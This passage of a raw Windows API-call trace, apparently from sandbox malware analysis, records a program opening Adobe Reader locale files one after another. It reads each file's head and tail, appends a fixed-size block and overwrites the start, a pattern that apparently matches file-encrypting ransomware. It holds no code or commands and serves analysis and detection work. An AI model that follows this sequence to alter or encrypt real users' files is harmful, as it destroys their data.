out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.056] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3e00 [0037.056] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.057] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.057] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.057] CloseHandle (hObject=0x1c4) returned 1 [0037.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\reflow.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.058] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.058] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1200 [0037.058] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.058] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.058] ReleaseMutex (hMutex=0x128) returned 1 [0037.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ESP", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ESP", lpUsedDefaultChar=0x0) returned 10 [0037.058] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0037.060] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0037.060] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0037.060] CloseHandle (hObject=0x1c4) returned 1 [0037.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\acroform.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.060] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.060] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x66c00 [0037.060] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.060] ReleaseMutex (hMutex=0x128) returned 1 [0037.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.EUQ", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.EUQ", lpUsedDefaultChar=0x0) returned 12 [0037.060] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0037.062] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x65c00 [0037.062] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.064] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x65c00 [0037.064] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.065] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.065] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.065] CloseHandle (hObject=0x1c4) returned 1 [0037.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.066] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.066] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x12e00 [0037.066] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.066] ReleaseMutex (hMutex=0x128) returned 1 [0037.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0037.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x1e78ab4, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.EUQ", lpUsedDefaultChar=0x0) returned 18 [0037.066] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.068] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11e00 [0037.068] ReadFile (in: hFile=0x1c4, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.069] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x11e00 [0037.069] WriteFile (in: hFile=0x1c4, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.070] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.070] WriteFile (in: hFile=0x1c4, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.070] CloseHandle (hObject=0x1c4) returned 1 [0037.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.071] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.071] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9251 [0037.071] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.071] ReleaseMutex (hMutex=0x128) returned 1 [0037.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0037.071] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.179] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8251 [0037.179] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.190] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8251 [0037.190] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.190] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.190] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de8e48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.190] CloseHandle (hObject=0x1c4) returned 1 [0037.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.191] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.191] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1de00 [0037.192] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.192] ReleaseMutex (hMutex=0x128) returned 1 [0037.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SUO", cchWideChar=12, lpMultiByteStr=0x1e62fcc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SUO", lpUsedDefaultChar=0x0) returned 12 [0037.192] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.199] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ce00 [0037.199] ReadFile (in: hFile=0x1c4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.199] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ce00 [0037.199] WriteFile (in: hFile=0x1c4, lpBuffer=0x1deeea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deeea8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.200] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.200] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.200] CloseHandle (hObject=0x1c4) returned 1 [0037.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\RdLang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\rdlang32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.200] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.200] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x144c00 [0037.200] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.200] ReleaseMutex (hMutex=0x128) returned 1 [0037.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SUO", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SUO", lpUsedDefaultChar=0x0) returned 12 [0037.200] ReadFile (in: hFile=0x1c4, lpBuffer=0x2728d08, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0037.209] ReadFile (in: hFile=0x1c4, lpBuffer=0x2728d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.215] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x143c00 [0037.215] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.223] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x143c00 [0037.223] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.224] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.224] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0037.224] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.224] CloseHandle (hObject=0x1c4) returned 1 [0037.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.225] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.225] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6a00 [0037.225] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.225] ReleaseMutex (hMutex=0x128) returned 1 [0037.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x1e6340c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SUO", lpUsedDefaultChar=0x0) returned 11 [0037.225] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.231] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5a00 [0037.231] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.236] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5a00 [0037.236] WriteFile (in: hFile=0x1c4, lpBuffer=0x1deeed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deeed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.237] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.237] WriteFile (in: hFile=0x1c4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.237] CloseHandle (hObject=0x1c4) returned 1 [0037.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.237] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.237] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xa800 [0037.237] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.238] ReleaseMutex (hMutex=0x128) returned 1 [0037.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.fra", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.fra", lpUsedDefaultChar=0x0) returned 11 [0037.238] ReadFile (in: hFile=0x1c4, lpBuffer=0x1deae78, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1deae78*, 